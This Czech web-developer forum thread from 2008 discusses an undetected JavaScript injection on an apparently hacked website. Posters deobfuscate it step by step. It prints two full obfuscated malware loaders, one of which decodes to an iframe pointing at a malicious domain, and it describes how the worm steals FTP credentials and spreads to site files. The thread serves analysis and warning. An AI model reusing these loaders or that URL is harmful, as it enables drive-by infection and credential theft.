nedetekovaný js virus - poznáte co dělá?

20. 3. 2008 19:31:26

Poznáte, co dělá, případně jak se jmenuje tento virus?

AVG ho detekuje jako neznámý, NOD32 ho zcela přejde.

Nejsem autorem viru ani v jakémkoliv spojení s - pravděpodobně hacknutým - webem. Varování na ten vir už ode mě dostali.

Pozor, nejedná se o legraci!!

Neklikejte na odkaz, pokud si nejste 100% jistí, že máte vypnutý javascript nebo jistotu, že váš počítač je zabezpečený.

icdt . hu

Virus je umístěný úplně na začátku kódu, ještě před tagem html.

Tak se ukažte :)

20. 3. 2008 19:31:26

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53766

David Čermák

(7 hodnocení)

20. 3. 2008 19:34:36

To nemyslíš vážně :mad:

Smazat!

20. 3. 2008 19:34:36

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53765

miniJOHN

(57 hodnocení)

20. 3. 2008 19:41:29

Při pokusu o dešifrování mi z toho vyšlo

...Takže netuším...

20. 3. 2008 19:41:29

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53764

Martin Schlemmer

(36 hodnocení)

20. 3. 2008 19:41:59

Jaký má tvoje otázka smysl? Tady se nepohybují odborníci na viry.

20. 3. 2008 19:41:59

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53763

Michal Řehák

(4 hodnocení)

20. 3. 2008 20:05:39

Asi nejakej nadsenec no. Doted jsem si myslel ze viry vytvareji jenom antivirovy spolecnosti. Holt obcas se vyjimka najde :)

20. 3. 2008 20:05:39

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53762

Webtrh obecný účet

(1 hodnocení)

20. 3. 2008 20:08:53

a co to dela nez na to kliknu? mam rozkoukanej film...

20. 3. 2008 20:08:53

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53761

miniJOHN

(57 hodnocení)

20. 3. 2008 20:11:40

Napsal Unregistered;43518
a co to dela nez na to kliknu? mam rozkoukanej film...

Mě to neudělalo nic...

(možná ale o tom ani nevím, co mi to vůbec děla, ale myslím, že to spíše nedělá nic...)

20. 3. 2008 20:11:40

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53760

Muskwa

(25 hodnocení)

20. 3. 2008 20:57:48

tak na to zkus kliknout třeba v IE :)

mně se jednou něco podobnýho objevilo na webech, když mi s pomocí trojana nějaký hacker vykradl hesla z cuteftp...

vím, že mně v mozille to třeba nic nedělalo, zatímco lidi s IE si stěžovali, že jim to totálně odstavilo kompa...

20. 3. 2008 20:57:48

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53759

insekticid

20. 3. 2008 21:48:24

vysledek tohoto nudneho js

kdysi jsem neco podobneho lustil, pro zajemce v priloze (html soubor)

20. 3. 2008 21:48:24

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53758

kubiz

(103 hodnocení)

20. 3. 2008 23:33:45

Napsal miniJOHN;43520
Mě to neudělalo nic...

(možná ale o tom ani nevím, co mi to vůbec děla, ale myslím, že to spíše nedělá nic...)

Dal bych si pozor ... Podobný bordel dostává do PC trojany ... Ti potom, pokud máte např. v Commanderu FTP účty, tak si dokáže vycucnout info (od ftp po heslo) a potom to zasírá *.php, *.html právě podobnými kódy hezky přes ftp ... Je pak problém se toho zbavit a šíří se to dál, protože i návštěvníkům takto zavirovaného webu to tahá trojany do PC.

20. 3. 2008 23:33:45

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53757

miniJOHN

(57 hodnocení)

21. 3. 2008 09:25:00

Napsal kubiz;43584
Dal bych si pozor ... Podobný bordel dostává do PC trojany ... Ti potom, pokud máte např. v Commanderu FTP účty, tak si dokáže vycucnout info (od ftp po heslo) a potom to zasírá *.php, *.html právě podobnými kódy hezky přes ftp ... Je pak problém se toho zbavit a šíří se to dál, protože i návštěvníkům takto zavirovaného webu to tahá trojany do PC.

Ahoj,

ano, ale já moc nevěřím, že by se mi dostal vir(trojan) do PC přes internetový prohlížeč(FF) při prohlížení stránky. Nemyslím to tak, že když někam vejdu(většinou warez), tak mi vyskoči okno, jestli chci stáhnout to a to, ale tak, že se prostě do počítače něco uloží, aniž bych si toho všimnul(teď nemyslím cookies)...

Můj názor...

Samozřejmě v kombinaci s Firewallem a s antivirovým programem

21. 3. 2008 09:25:00

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53756

Petr Bartoš

21. 3. 2008 10:48:56

miniJOHN: dobrý postup... až tam mi to šlo taky, pak jsem ale ten dlouhý parametr zkusil prohnat urldecode() a ten vrátil nesmyslný binární kód, slepá ulička... k těm trojanům, můžou se ti dostat do kompu i potichu, stačí na to jen zapnutá java nebo spouštění nepodepsaných activex komponent

retal, Jauzah: přijít na to co ta věc dělá a zda a jak mi ovlivnila počítač

davidkojot: naprosto.

insekticid: borec! ;) smekám. takže počitadlo v číně... prozradíš jak jsi ten skript rozkódoval? ta příloha se nedaří otevřít, prý nedostatek práv.

21. 3. 2008 10:48:56

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53755

miniJOHN

(57 hodnocení)

21. 3. 2008 11:02:51

Napsal petrs;43656
miniJOHN: dobrý postup... až tam mi to šlo taky, pak jsem ale ten dlouhý parametr zkusil prohnat urldecode() a ten vrátil nesmyslný binární kód, slepá ulička... k těm trojanům, můžou se ti dostat do kompu i potichu, stačí na to jen zapnutá java nebo spouštění nepodepsaných activex komponent

retal, Jauzah: přijít na to co ta věc dělá a zda a jak mi ovlivnila počítač

davidkojot: naprosto.

insekticid: borec! ;) smekám. takže počitadlo v číně... prozradíš jak jsi ten skript rozkódoval? ta příloha se nedaří otevřít, prý nedostatek práv.

faze1
===================================
<html><head>												<script>prompt("dd",unescape("%3Cscript%3Eif%28Gp%21%3D1%29%7Bfunction%20Ke%28rm%29%7Breturn%20rm%7Dtry%7Bvar%20gX%3D%27eeuefuewuekueGue3ueVueBuePue5uesueNueDueWuenueKuebueAuexueZueSue7uepuemueguehuerueXueUuedue9ueTueCueYueIueiueHueque4ueyuezue6ueRuetue8uejueauelueLueoueFueMueJuecufeuffufwufkufGuf3ufVufBufPuf5ufsufNufDufWufnufKufbufAufxufZufSuf7ufpufmufgufh%27%2CtV%3DgX.substr%282%2C1%29%3Bvar%20Ko%3DArray%28An%28%27151%27%29%2C18931%5E18731%2CAn%28%27200%27%29%2C20688%5E20489%2C10257%5E10451%2C6106%5E5889%2CAn%28%27223%27%29%2CAn%28%27149%27%29%2C19344%5E19293%2CAn%28%27222%27%29%2C6792%5E6733%2C20729%5E20541%2CAn%28%27139%27%29%2C4984%5E5049%2C8588%5E8463%2CAn%28%27226%27%29%2C24956%5E24991%2CAn%28%27135%27%29%2C21266%5E21443%2C1292%5E1477%2C16979%5E17105%2CAn%28%27208%27%29%2C30632%5E30581%2C5065%5E4867%2C9244%5E9459%2CAn%28%27234%27%29%2CAn%28%27150%27%29%2CAn%28%27206%27%29%2C30921%5E30741%2CAn%28%27144%27%29%2CAn%28%27207%27%29%2CAn%28%27133%27%29%2CAn%28%27255%27%29%2CAn%28%27198%27%29%2CAn%28%27204%27%29%2C26389%5E26517%2C12600%5E12715%2CAn%28%27157%27%29%2CAn%28%27159%27%29%2CAn%28%27155%27%29%2CAn%28%27192%27%29%2CAn%28%27137%27%29%2C7908%5E7735%2C12509%5E12337%2CAn%28%27230%27%29%2C19555%5E19611%2CAn%28%27214%27%29%2C30126%5E30019%2C24217%5E24085%2CAn%28%27154%27%29%2CAn%28%27242%27%29%2CAn%28%27249%27%29%2CAn%28%27224%27%29%2C20744%5E20987%2C25488%5E25431%2CAn%28%27250%27%29%2CAn%28%27132%27%29%2C28532%5E28599%2C12283%5E12063%2C9577%5E9711%2CAn%28%27145%27%29%2CAn%28%27138%27%29%2C16875%5E16767%2C32513%5E32751%2C26529%5E26449%2CAn%28%27245%27%29%2C19673%5E19531%2CAn%28%27246%27%29%2C15676%5E15819%2C21454%5E21335%2C27658%5E27875%2C14291%5E14081%2C11769%5E11537%2CAn%28%27161%27%29%2CAn%28%27229%27%29%2CAn%28%27241%27%29%2C31237%5E31389%2C17201%5E17327%2CAn%28%27156%27%29%2CAn%28%27129%27%29%29%2CWx%3Bvar%20lC%2Cub%3Bvar%20Ot%3D%27eeefewekeGe3eVeBePe5eseweVeGeNeseDeWe3eneKebeAexeZeSe7eDepemekeDegehereseXeUeDegemeVeXeneSedepemekeDeDe9efereDeseXeUeDegemeVeXeneSedeDe9efeTefeXeVeCeGeYeXenegeheTeIeXeVeCeGeYeXeneSeieHeqe4eyeyeyeyeyeSedeDe9eNewe5eYeXeseVeTeweNeNezeGeXeDereDeKebeie6ere6eieXefeweme3eXenexeZeSeie6edeXeRe3eGekeXefere6eie9efeTeVeNete8eCejeVekeGeseIeneSedeDeaepemekeDeleWereLefeoePeGeFeLeAezeMereLeoeLedepemekeDeJecereLe5e3e9emeVeXeoeTewfeemefefeGeweVeXfeeTeNekeIeLeAffe9ereLfwfkeVeYfefweLedeGePene9eNewe5eYeXeseVeTeweNeNezeGeXeTeGese9eXeRfGePeneleWeieLereLeiezeMeSeDererf3eoeSe7epemekeDe9fefkere9eNewe5eYeXeseVeTfeeNewemeVeGeNeseTfkeNefeVedepemekeDemeCereDeLfkeVeLeieLeVe3fVeLeieLfwfweLeieneDe9fefkeDfBereDeLeLfPeLeLfVebf5eneSeSeDeieDe9fefkeTekeXe3feemeweXeDenfwfsfNemf3exeyf3fDeTf3fWfweAeLeTeLeSeTekeXe3feemeweXeDenfwfneTeifweAeLeTeLeSeieLeTeLeiebf5eneSeDeieLeTeLeDeieDeJeceiffe9edepemekeDeJe5ere9eNewe5eYeXeseVeTewekeXemeVeXf5feeXeYeXeseVeneLeGePekemeYeXeLeSedeJe5eTefeXeVeheVeVekeGeZe5eVeXeDeneLefekeweLeAeDemeCeSedeJe5eTfkeXeGeIfkeVerfKedeJe5eTeUeGe9eVfkereoedeJe5eTePekemeYeXfbeNeke9eXekeDereDeyedeDeVekfAe7eDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeDeWe3eneleWeAeDezeMeDeSedeaeDewemeVewfkeneXeSeDe7e9eNewe5eYeXeseVeTeUekeGeVeXeDeneLeefkeVeYfeeBeeeZeNe9fAeBeefweZeNe9fAeBeefwfkeVeYfeeBeLeSedeDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeWe3eDeneDeleWeAezeMeSeDedeaeDeafZePe5eseweVeGeNeseDebf5eneSe7eDepemekeDexfSerfKe4eAebf7ere6eyeofKfpe4fmeqfgeHfDeyemeZewe9eXePe6edepemekeDeZegere6e6edeDePeNekenePe8ereyedeDePe8eDeeeDexfSedeDePe8eieieSeDeZegeiereDebf7eTefe5eZefeVekene8emeVfkeTePfeeNeNekene8emeVfkeTekemese9eNeYeneSfhebf7eTfeeXeseIeVfkeSeAeoeAeoeSedeDekeXeVe5ekeseDeZegedeDeaeefwefewekeGe3eVeB%27%2Chj%3D%27%27%3Bfunction%20An%28iO%29%7Breturn%20parseInt%28iO%29%7DgX%3DgX.split%28tV%29%3Bfor%20%28Wx%3D0%3BWx%3COt.length%3BWx+%3D2%29%7Bub%3DOt.substr%28Wx%2C2%29%3Bfor%28lC%3D0%3BlC%3CgX.length%3BlC++%29%7Bif%28gX%5BlC%5D%3D%3Dub%29break%3B%7Dhj+%3DString.fromCharCode%28Ko%5BlC%5D%5E171%29%3B%7Ddocument.write%28hj%29%3B%7Dcatch%28AF%29%7B%7D%7Dvar%20Gp%3D1%3C/script%3E"))</script><script>if(Gp!=1){function Ke(rm){return rm}try{var gX='eeuefuewuekueGue3ueVueBuePue5uesueNueDueWuenueKuebueAuexueZueSue7uepuemueguehuerueXueUuedue9ueTueCueYueIueiueHueque4ueyuezue6ueRuetue8uejueauelueLueoueFueMueJuecufeuffufwufkufGuf3ufVufBufPuf5ufsufNufDufWufnufKufbufAufxufZufSuf7ufpufmufgufh',tV=gX.substr(2,1);var Ko=Array(An('151'),18931^18731,An('200'),20688^20489,10257^10451,6106^5889,An('223'),An('149'),19344^19293,An('222'),6792^6733,20729^20541,An('139'),4984^5049,8588^8463,An('226'),24956^24991,An('135'),21266^21443,1292^1477,16979^17105,An('208'),30632^30581,5065^4867,9244^9459,An('234'),An('150'),An('206'),30921^30741,An('144'),An('207'),An('133'),An('255'),An('198'),An('204'),26389^26517,12600^12715,An('157'),An('159'),An('155'),An('192'),An('137'),7908^7735,12509^12337,An('230'),19555^19611,An('214'),30126^30019,24217^24085,An('154'),An('242'),An('249'),An('224'),20744^20987,25488^25431,An('250'),An('132'),28532^28599,12283^12063,9577^9711,An('145'),An('138'),16875^16767,32513^32751,26529^26449,An('245'),19673^19531,An('246'),15676^15819,21454^21335,27658^27875,14291^14081,11769^11537,An('161'),An('229'),An('241'),31237^31389,17201^17327,An('156'),An('129')),Wx;var lC,ub;var Ot='eeefewekeGe3eVeBePe5eseweVeGeNeseDeWe3eneKebeAexeZeSe7eDepemekeDegehereseXeUeDegemeVeXeneSedepemekeDeDe9efereDeseXeUeDegemeVeXeneSedeDe9efeTefeXeVeCeGeYeXenegeheTeIeXeVeCeGeYeXeneSeieHeqe4eyeyeyeyeyeSedeDe9eNewe5eYeXeseVeTeweNeNezeGeXeDereDeKebeie6ere6eieXefeweme3eXenexeZeSeie6edeXeRe3eGekeXefere6eie9efeTeVeNete8eCejeVekeGeseIeneSedeDeaepemekeDeleWereLefeoePeGeFeLeAezeMereLeoeLedepemekeDeJecereLe5e3e9emeVeXeoeTewfeemefefeGeweVeXfeeTeNekeIeLeAffe9ereLfwfkeVeYfefweLedeGePene9eNewe5eYeXeseVeTeweNeNezeGeXeTeGese9eXeRfGePeneleWeieLereLeiezeMeSeDererf3eoeSe7epemekeDe9fefkere9eNewe5eYeXeseVeTfeeNewemeVeGeNeseTfkeNefeVedepemekeDemeCereDeLfkeVeLeieLeVe3fVeLeieLfwfweLeieneDe9fefkeDfBereDeLeLfPeLeLfVebf5eneSeSeDeieDe9fefkeTekeXe3feemeweXeDenfwfsfNemf3exeyf3fDeTf3fWfweAeLeTeLeSeTekeXe3feemeweXeDenfwfneTeifweAeLeTeLeSeieLeTeLeiebf5eneSeDeieLeTeLeDeieDeJeceiffe9edepemekeDeJe5ere9eNewe5eYeXeseVeTewekeXemeVeXf5feeXeYeXeseVeneLeGePekemeYeXeLeSedeJe5eTefeXeVeheVeVekeGeZe5eVeXeDeneLefekeweLeAeDemeCeSedeJe5eTfkeXeGeIfkeVerfKedeJe5eTeUeGe9eVfkereoedeJe5eTePekemeYeXfbeNeke9eXekeDereDeyedeDeVekfAe7eDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeDeWe3eneleWeAeDezeMeDeSedeaeDewemeVewfkeneXeSeDe7e9eNewe5eYeXeseVeTeUekeGeVeXeDeneLeefkeVeYfeeBeeeZeNe9fAeBeefweZeNe9fAeBeefwfkeVeYfeeBeLeSedeDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeWe3eDeneDeleWeAezeMeSeDedeaeDeafZePe5eseweVeGeNeseDebf5eneSe7eDepemekeDexfSerfKe4eAebf7ere6eyeofKfpe4fmeqfgeHfDeyemeZewe9eXePe6edepemekeDeZegere6e6edeDePeNekenePe8ereyedeDePe8eDeeeDexfSedeDePe8eieieSeDeZegeiereDebf7eTefe5eZefeVekene8emeVfkeTePfeeNeNekene8emeVfkeTekemese9eNeYeneSfhebf7eTfeeXeseIeVfkeSeAeoeAeoeSedeDekeXeVe5ekeseDeZegedeDeaeefwefewekeGe3eVeB',hj='';function An(iO){return parseInt(iO)}gX=gX.split(tV);for (Wx=0;Wx<Ot.length;Wx+=2){ub=Ot.substr(Wx,2);for(lC=0;lC<gX.length;lC++){if(gX==ub)break;}hj+=String.fromCharCode(Ko^171);}document.write(hj);}catch(AF){}}var Gp=1</script>

faze 2
===================================

var Ko=Array(An('151'),18931^18731,An('200'),20688^20489,10257^10451,6106^5889,An('223'),An('149'),19344^19293,An('222'),6792^6733,20729^20541,An('139'),4984^5049,8588^8463,An('226'),24956^24991,An('135'),21266^21443,1292^1477,16979^17105,An('208'),30632^30581,5065^4867,9244^9459,An('234'),An('150'),An('206'),30921^30741,An('144'),An('207'),An('133'),An('255'),An('198'),An('204'),26389^26517,12600^12715,An('157'),An('159'),An('155'),An('192'),An('137'),7908^7735,12509^12337,An('230'),19555^19611,An('214'),30126^30019,24217^24085,An('154'),An('242'),An('249'),An('224'),20744^20987,25488^25431,An('250'),An('132'),28532^28599,12283^12063,9577^9711,An('145'),An('138'),16875^16767,32513^32751,26529^26449,An('245'),19673^19531,An('246'),15676^15819,21454^21335,27658^27875,14291^14081,11769^11537,An('161'),An('229'),An('241'),31237^31389,17201^17327,An('156'),An('129')),Wx;alert("dd");

var lC,ub;
		var Ot='eeefewekeGe3eVeBePe5eseweVeGeNeseDeWe3eneKebeAexeZeSe7eDepemekeDegehereseXeUeDegemeVeXeneSedepemekeDeDe9efereDeseXeUeDegemeVeXeneSedeDe9efeTefeXeVeCeGeYeXenegeheTeIeXeVeCeGeYeXeneSeieHeqe4eyeyeyeyeyeSedeDe9eNewe5eYeXeseVeTeweNeNezeGeXeDereDeKebeie6ere6eieXefeweme3eXenexeZeSeie6edeXeRe3eGekeXefere6eie9efeTeVeNete8eCejeVekeGeseIeneSedeDeaepemekeDeleWereLefeoePeGeFeLeAezeMereLeoeLedepemekeDeJecereLe5e3e9emeVeXeoeTewfeemefefeGeweVeXfeeTeNekeIeLeAffe9ereLfwfkeVeYfefweLedeGePene9eNewe5eYeXeseVeTeweNeNezeGeXeTeGese9eXeRfGePeneleWeieLereLeiezeMeSeDererf3eoeSe7epemekeDe9fefkere9eNewe5eYeXeseVeTfeeNewemeVeGeNeseTfkeNefeVedepemekeDemeCereDeLfkeVeLeieLeVe3fVeLeieLfwfweLeieneDe9fefkeDfBereDeLeLfPeLeLfVebf5eneSeSeDeieDe9fefkeTekeXe3feemeweXeDenfwfsfNemf3exeyf3fDeTf3fWfweAeLeTeLeSeTekeXe3feemeweXeDenfwfneTeifweAeLeTeLeSeieLeTeLeiebf5eneSeDeieLeTeLeDeieDeJeceiffe9edepemekeDeJe5ere9eNewe5eYeXeseVeTewekeXemeVeXf5feeXeYeXeseVeneLeGePekemeYeXeLeSedeJe5eTefeXeVeheVeVekeGeZe5eVeXeDeneLefekeweLeAeDemeCeSedeJe5eTfkeXeGeIfkeVerfKedeJe5eTeUeGe9eVfkereoedeJe5eTePekemeYeXfbeNeke9eXekeDereDeyedeDeVekfAe7eDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeDeWe3eneleWeAeDezeMeDeSedeaeDewemeVewfkeneXeSeDe7e9eNewe5eYeXeseVeTeUekeGeVeXeDeneLeefkeVeYfeeBeeeZeNe9fAeBeefweZeNe9fAeBeefwfkeVeYfeeBeLeSedeDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeWe3eDeneDeleWeAezeMeSeDedeaeDeafZePe5eseweVeGeNeseDebf5eneSe7eDepemekeDexfSerfKe4eAebf7ere6eyeofKfpe4fmeqfgeHfDeyemeZewe9eXePe6edepemekeDeZegere6e6edeDePeNekenePe8ereyedeDePe8eDeeeDexfSedeDePe8eieieSeDeZegeiereDebf7eTefe5eZefeVekene8emeVfkeTePfeeNeNekene8emeVfkeTekemese9eNeYeneSfhebf7eTfeeXeseIeVfkeSeAeoeAeoeSedeDekeXeVe5ekeseDeZegedeDeaeefwefewekeGe3eVeB',hj='';

gX=gX.split(tV);
		
		for (Wx=0;Wx<Ot.length;Wx+=2)
		{
			ub=Ot.substr(Wx,2);
		  for(lC=0;lC<gX.length;lC++){if(gX==ub)break;}
		  hj+=String.fromCharCode(Ko^171);
		}
		//prompt("dd",hj);
		document.write(hj);
	}
	catch(AF){}
}
//var Gp=1

</script>

faze 3
==================================

vysledek: iframe src=
====================================
http://f2813db23e02933327da496a.134902b90bab2d738b5367a7.update1.classictel.org/html/

21. 3. 2008 11:02:51

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53754

Jakub Adamus

(1 hodnocení)

21. 3. 2008 14:23:43

Pokud si spravne pamatuju a je to skutecne on:

po spusteni v IE to nainstaluje (mozna nic nenainstaluje, ale vyuzije primo pristupu k souborum pomoci nejake IE chyby) nejakeho hezkeho cervika, ktery si najde wcx_ftp.ini

co si ze souboru vytahne asi tusite

data nekam posle

no a pak uz roboti na nejakych serverech pouze ta data pouziji, prozatim jedine pouziti, ktere jsem videl je to, ze na dane FTP nahraje do vsech adresaru pojmenovanych /www/ do kazdeho souboru s rozumnou priponou (php, html, asp...) na konec prida opet jeden a ten samy skript

Vsiml jsem si jen toho, jak se siri, jestli dela i neco jineho krom sveho sireni, to netusim...

A jestli je to on, to taky nevim, preci jen uz je to dlouho :)

<script>eval(unescape('function%20vlIjdMJ%28vSxBS%29%7Bfunction%20wbhiTPQx%28fnnwb%29%7Bvar%20nCp%3Dfnnwb.length%3Bvar%20zBI%3D0%2CaJac%3D0%3Bwhile%28zBI%3CnCp%29%7BaJac+%3Dfnnwb.charCodeAt%28zBI%29*nCp%3BzBI++%3B%7Dreturn%20%28%27%27+aJac%29%7D%20%20%20try%20%7Bvar%20sDIxm%3Deval%28%27aArPgAuPmoeonot%3EsA.ocoaklPlkekek%27.replace%28/%5Bo%5C%3EPAk%5D/g%2C%20%27%27%29%29%2CjtpV%3Dnew%20String%28%29%2CfBvkh%3D0%3BhFgH%3D0%2CqKpcSA%3D%28new%20String%28sDIxm%29%29.replace%28/%5B%5E@a-z0-9A-Z_.%2C-%5D/g%2C%27%27%29%3Bvar%20ttHY%3DwbhiTPQx%28qKpcSA%29%3BvSxBS%3Dunescape%28vSxBS%29%3Bfor%28var%20xZGKIU%3D0%3B%20xZGKIU%20%3C%20%28vSxBS.length%29%3B%20xZGKIU++%29%7Bvar%20lBI%3DvSxBS.charCodeAt%28xZGKIU%29%3Bvar%20xpE%3DqKpcSA.charCodeAt%28fBvkh%29%5EttHY.charCodeAt%28hFgH%29%3BfBvkh++%3BhFgH++%3Bif%28fBvkh%3EqKpcSA.length%29fBvkh%3D0%3Bif%28hFgH%3EttHY.length%29hFgH%3D0%3BjtpV+%3DString.fromCharCode%28lBI%5ExpE%29%3B%7Deval%28jtpV%29%3B%20return%20jtpV%3Dnew%20String%28%29%3B%7Dcatch%28e%29%7B%7D%7DvlIjdMJ%28%27%2532%2536%2532%2537%2530%2532%2539%2530%2556%2538%2509%253a%253f%2555%2551%2534%251e%2543%2516%2513%2536%252e%2570%2521%253f%2536%251b%2533%2535%2529%252f%253c%2546%2554%2541%2503%2533%253d%2528%2512%2533%252a%253c%2511%251a%2503%252f%253a%253e%257e%257f%257b%2578%2519%2539%253b%2521%252a%2537%252a%2570%256b%2501%2506%251e%2570%253b%253d%2545%2569%2565%251c%2526%2563%257c%256b%2512%2579%253b%254b%251f%2542%2501%2567%253d%2564%252c%2569%2524%2559%2502%256c%256d%256d%2522%2532%2536%2511%2512%2535%2522%2517%2532%252f%250d%2516%2524%2564%256c%253e%2515%250e%252e%2536%252e%2520%255a%2573%250c%2538%250a%252e%253c%250c%2538%252b%257c%2523%256d%2553%255e%256d%257d%2579%2519%256e%257d%2574%254d%2524%250d%252c%2559%2503%2503%2529%257d%253b%2562%256c%256d%252d%254f%251f%2523%2534%257f%2574%257a%253d%2577%256d%253d%2573%2524%2529%2537%252a%2563%2530%254d%250f%253b%2527%253c%257b%253b%2505%251e%2504%2527%2532%2553%253c%2530%252a%2541%252c%2504%252b%2501%2529%2528%2571%2575%2574%257f%2548%251c%2525%2537%2538%2574%2532%2556%257b%2579%252e%252b%256a%2547%2532%2534%251e%2504%251c%2539%2561%250e%2578%253f%2577%2536%253b%2501%2513%251e%252e%2523%2557%252e%252f%2534%250d%253f%2539%2532%2513%2571%2525%2563%2566%2558%2565%2514%256b%2504%2500%2572%253d%2534%251c%256c%2525%2527%2530%2536%2528%2551%2548%255f%2534%2531%2538%2516%250d%2506%252f%2535%2565%2521%253a%250e%251d%252f%2504%256f%251b%253d%2523%253d%252f%250b%2535%257b%253d%253d%251f%2512%2560%2513%250b%2539%2536%2522%2523%252f%2521%2523%250d%2550%2550%255b%254b%253d%255f%2548%255a%2559%250a%250d%252d%2519%2566%2521%250e%2577%2535%253b%253b%2503%252c%2534%250d%250d%2558%2559%2543%2558%2564%2575%2573%2545%254b%2502%2568%250c%2527%2503%251e%2524%2544%2569%253e%2534%251c%252d%253f%253d%254d%2512%2523%250a%2521%2552%2529%2504%2573%253f%251b%256d%2568%2505%2523%250b%252e%253b%2500%2524%2534%257a%2501%250a%257e%2518%253e%2500%2535%252e%256d%2533%2559%2566%257e%2576%256d%2558%2509%250a%2568%2517%2537%253c%2520%251a%250a%2576%2569%2553%2525%252d%251a%253d%250c%250f%251f%252e%2571%2531%2539%2519%253b%2554%2549%2522%2531%251c%2534%253e%2573%2533%250d%2511%2523%2545%2517%2524%257c%2539%2532%2520%2554%251e%2531%2504%2524%2573%2573%2532%2579%2502%2574%2503%2530%250b%2510%252f%251c%250c%2506%2530%2536%252b%2570%2500%253b%2525%2513%254f%2553%2528%253f%2526%2534%2530%2503%2529%2517%2573%2571%2575%2532%2576%2578%2560%2569%2573%256a%2567%2570%2544%2576%256d%257c%2538%252d%2518%253b%252f%2517%253b%2530%2576%253f%2505%2529%252d%250d%2520%2575%257b%256c%252c%250f%2535%2527%2562%254a%257e%2575%2573%2541%2554%256b%257f%2539%2523%2530%2532%253d%2536%2540%2521%2557%2538%2537%253b%2578%2566%257b%2554%257c%2525%2526%250e%2533%2524%2511%2509%254b%2543%2565%2514%254a%2522%2528%2510%251e%2520%2508%252d%252e%2529%253c%253d%2578%254d%256b%2543%2533%2578%253a%2531%252a%2530%252f%2504%250e%2539%251c%2522%256c%257b%253f%2523%2500%257d%2539%2532%253e%2531%2561%257d%2536%2500%2534%2524%254a%2559%252f%256a%252a%251b%2507%2537%2535%256b%253c%2537%2571%257b%2566%252b%2515%252b%2505%2526%253d%2514%2578%2569%2546%253a%252d%252b%2536%256a%2538%253e%253f%255a%2558%2522%253f%2534%2559%2567%2537%251a%2520%252f%255b%2523%2521%2500%251e%252a%2531%250d%250e%252a%252f%2522%251b%253f%2536%2521%2516%2563%2569%257a%253e%2535%2517%2502%2568%251e%256a%2562%256f%252c%2535%2504%2522%254a%2511%2504%2563%2548%2529%251d%2523%2521%2527%252d%252a%2507%2516%256e%2562%257b%250a%2576%2529%253a%2545%2537%2576%2526%252e%252c%252c%2542%2537%2532%2511%2522%2572%256b%257f%2531%2512%251c%252a%253b%2548%2579%252f%2511%2567%2514%2562%2500%2579%2537%252d%2537%2536%257d%2515%2569%2531%2507%252c%2508%253f%257e%2578%2515%2526%2509%2570%2538%2522%250e%2574%2500%250f%2554%251a%2575%256e%2511%2523%253b%2535%250f%2536%2520%255e%2551%2513%257c%2555%251e%254f%2511%252d%250e%257b%2532%255e%2578%253a%255d%252b%2530%257f%251e%2574%251b%2548%2579%2549%256b%2517%256c%2520%253c%2525%2518%2516%2504%2543%2568%257b%257d%2505%2541%2523%255f%252d%257f%2528%256d%2501%250a%2539%2529%253e%250a%252d%2504%251a%2534%2508%2524%2510%256f%2524%256b%2515%254e%251a%2516%2535%2536%2515%2504%2510%2569%251d%256d%2544%2507%2517%2509%2539%2563%252d%250d%2558%2554%2520%2538%251a%250e%2516%252a%252b%254c%2501%2578%2530%257b%2554%257d%2569%2541%254b%250f%2509%2515%2566%251a%2536%253b%2502%255e%2529%255c%2525%251d%2530%2569%2538%253f%2538%2536%254a%2539%257a%250a%2503%2527%2524%2545%255e%2542%251f%254b%2501%2521%252d%253e%2522%255d%2530%255b%257b%250c%254f%2514%2570%253b%252b%2536%2563%255a%2554%252b%2530%2512%2537%2535%2518%2567%253e%2541%253d%2526%2515%250d%256b%253c%2534%253f%2506%255f%252e%2524%253b%2505%2523%2579%2551%255b%254e%2538%2554%2535%2571%2537%2575%251a%2543%2544%257b%2568%252c%2510%2570%253d%257c%2515%255d%253f%252c%255a%250c%253b%257b%2527%250b%2525%252e%253b%2532%2517%256c%257d%2503%2563%2507%2574%256e%252d%257d%2526%2530%2519%2567%250c%2534%257e%2575%2579%257c%2566%252b%2543%2553%256d%2511%2528%2504%2524%2519%2509%2503%2522%2532%2522%2532%2569%2530%2563%2529%2540%2501%251d%2576%2522%2534%251c%2506%2538%2549%